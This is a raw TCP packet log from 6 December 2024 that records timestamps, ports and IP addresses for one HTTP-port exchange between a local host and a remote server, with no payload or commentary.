Dec 6, 2024 22:09:05.866067886 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.867043972 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.867091894 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.867208004 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.867257118 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.867736101 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.867782116 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.868088961 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.868130922 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.868935108 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.868993044 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.869126081 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.869169950 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.869813919 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.869865894 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.869977951 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.870033979 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.870878935 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.870925903 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.871027946 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.871076107 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.871886969 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.871936083 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.872103930 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.872159958 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.872971058 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.873014927 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.873153925 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.873194933 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.873850107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.873899937 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.874033928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.874078989 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.874293089 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.874305010 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.874316931 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.874329090 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.874340057 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.874357939 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.874370098 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.874385118 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.874412060 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.874582052 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.874624968 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.875392914 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.875441074 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.875739098 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.875786066 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.876435041 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.876482964 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.876679897 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.876727104 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.877460003 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.877509117 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.877672911 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.877718925 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.878468037 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.878520966 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.878700018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.878747940 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.879443884 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.879494905 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.879661083 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.879703045 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.880482912 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.880532980 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.880706072 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.880750895 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.881508112 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.881556988 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.881719112 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.881766081 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.882525921 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.882574081 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.882741928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.882795095 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.883553982 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.883603096 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.883781910 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.883825064 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.884562969 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.884607077 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.884777069 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.884821892 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.885612965 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.885662079 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.885857105 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.885901928 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.886610985 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.886652946 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.886847973 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.886888027 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.887640953 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.887684107 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.887922049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.887965918 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.888672113 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.888710976 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.888904095 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.888950109 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.889708996 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.889766932 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.889925957 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.889972925 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.890706062 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.890768051 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.890964031 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.891025066 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.891721010 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.891776085 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.891938925 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.891993999 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.892771959 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.892824888 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.892998934 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.893047094 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.893763065 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.893816948 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.893989086 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.894035101 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.894844055 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.894895077 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.895088911 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.895133018 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.895816088 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.895874023 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.896047115 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.896090984 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.896934032 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.896986961 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.897217035 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.897265911 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.897866011 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.897939920 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.898103952 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.898154020 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.898875952 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.898926973 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.899132967 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.899182081 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.899909973 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.899965048 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.900136948 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.900177002 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.900903940 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.900959015 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.044543982 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.044704914 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.044760942 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.044814110 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.045241117 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.045300007 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.045627117 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.045671940 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.046063900 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.046111107 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.046530962 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.046575069 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.047049046 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.047097921 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.047468901 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.047516108 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.047782898 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.047831059 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.049489021 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.049545050 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.050431013 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.050443888 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.050453901 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.050489902 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.050525904 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.051353931 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.051414967 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.051793098 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.051840067 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.052258968 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.052268982 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.052323103 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.053098917 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.053129911 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.053144932 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.053533077 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.053577900 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.054007053 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.054018974 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.054050922 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.054061890 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.054898977 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.054949999 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.055393934 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.055438995 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.055840015 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.055883884 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.056293964 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.056344032 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.056735992 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.056786060 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.057154894 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.057239056 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.057647943 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.057712078 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.058057070 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.058109999 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.058686972 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.058743954 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.058904886 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.058944941 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.059726000 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.059777021 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.059937954 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.059989929 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.060826063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.060883999 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.061011076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.061063051 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.061919928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.061964989 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.062088966 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.062139988 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.062858105 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.062912941 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.063051939 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.063102007 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.063761950 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.063818932 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.063982010 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.064037085 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.064779043 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.064848900 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.065007925 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.065069914 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.065943956 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.066008091 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.066099882 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.066144943 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.066869974 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.066925049 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.067087889 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.067137957 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.067886114 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.067941904 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.068114996 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.068164110 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.068936110 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.068996906 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.069171906 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.069222927 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.069979906 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.070039034 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.070199013 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.070245028 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.070955038 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.071019888 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.071182013 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.071233988 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.072053909 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.072120905 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.072257996 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.072305918 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.072988987 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.073049068 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.073208094 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.073256969 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.074027061 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.074093103 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.074307919 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.074357986 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.075031042 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.075088978 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.075251102 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.075298071 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.076055050 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.076117992 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.076297045 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.076356888 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.077248096 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.077322006 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.077389956 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.077461958 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.078097105 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.078160048 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.078322887 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.078371048 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.079138994 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.079206944 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.079340935 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.079391003 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.080127954 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.080185890 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.080353975 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.080404043 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.081207991 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.081265926 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.081433058 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.081481934 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.082197905 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.082252979 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.082426071 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.082473040 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.083195925 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.083259106 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.083467960 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.083520889 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.084235907 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.084297895 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.084444046 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.084490061 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.085231066 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.085287094 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.085455894 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.085505009 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.086260080 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.086318016 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.086522102 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.086570024 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.087265968 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.087327957 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.087517023 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.087563992 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.088308096 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.088361979 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.088565111 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.088614941 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.089334965 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.089396000 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.089610100 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.089659929 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.090425968 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.090481043 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.090682983 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.090730906 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.091382027 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.091435909 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.091634035 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.091679096 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.092430115 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.092490911 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.092633009 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.092678070 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.093404055 CET	80	49830	185.215.113.16	192.168.2.7
